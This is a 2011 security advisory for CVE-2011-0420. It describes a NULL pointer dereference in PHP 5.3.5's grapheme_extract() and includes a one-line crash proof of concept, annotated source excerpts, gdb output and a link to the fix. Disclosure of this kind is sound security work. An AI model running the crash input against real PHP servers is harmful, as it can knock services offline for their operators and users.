[ PHP 5.3.5 grapheme_extract() NULL Pointer Dereference ] Author: Maksymilian Arciemowicz http://cxib.net/ Date: - - Dis.: 09.12.2010 - - Pub.: 17.02.2011 CVE: CVE-2011-0420 CERT: VU#210829 Affected Software: - - PHP 5.3.5 Fixed: SVN - --- 0.Description --- Internationalization extension (further is referred as Intl) is a wrapper for ICU library, enabling PHP programmers to perform UCA-conformant collation and date/time/number/currency formatting in their scripts. grapheme_extract &#8212; Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8. - --- 1. PoC for grapheme_extract() --- grapheme_extract('a',-1); Change length of first parameter to change rip. - --- 2. grapheme_extract() NULL Pointer Dereference --- As we can see in grapheme_extract(str,size) - -grapheme_extract()-- ... if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl|llz", (char **)&str, &str_len, &size, &extract_type, &lstart, &next) == FAILURE) { <=== str='a' and size='-1' ... /* if the string is all ASCII up to size+1 - or str_len whichever is first - then we are done. (size + 1 because the size-th character might be the beginning of a grapheme cluster) */ if ( -1 != grapheme_ascii_check(pstr, size + 1 < str_len ? size + 1 : str_len ) ) { <=== ( size=-1+1=0 ) === long nsize = ( size < str_len ? size : str_len ); <=== nsize = -1 if ( NULL != next ) { ZVAL_LONG(next, start+nsize); } RETURN_STRINGL(((char *)pstr), nsize, 1); <=== CRASH POINT } ... - -grapheme_extract()-- if we call to grapheme_ascii_check(pstr,0) where - -grapheme_ascii_check()-- /* {{{ grapheme_ascii_check: ASCII check */ int grapheme_ascii_check(const unsigned char *day, int32_t len) <==== len=0 { int ret_len = len; while ( len-- ) { if ( *day++ > 0x7f ) return -1; } return ret_len; <=== return 0 } - -grapheme_ascii_check()-- then we get (int)0 in result and long nsize = ( size < str_len ? size : str_len ); will be -1. Therefore, RETURN_STRINGL(((char *)pstr), nsize, 1); give NULL pointer dereference here. Changing length of first parameter of grapheme_extract(), we will also change rip in memcpy(3). (gdb) r -r 'grapheme_extract('a',-1);' ... (gdb) x/i $rip => 0x7ffff5511d99 <memcpy+777>: mov %rax,(%rdi) (gdb) x/x $rax 0xf9891857a6e70f70: Cannot access memory at address 0xf9891857a6e70f70 (gdb) x/x $rdi 0x11b2000: Cannot access memory at address 0x11b2000 (gdb) r -r 'grapheme_extract('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',-1);' ... (gdb) x/i $rip => 0x7ffff5511d77 <memcpy+743>: mov 0x18(%rsi),%r10 (gdb) x/x $rsi 0x11b1fe8: 0x00000000 - --- 3. Fix --- CVS http://svn.php.net/viewvc?view=revision&revision=306449 - --- 4. Greets --- Pierre, Stas - --- 5. Contact --- Author: Maksymilian Arciemowicz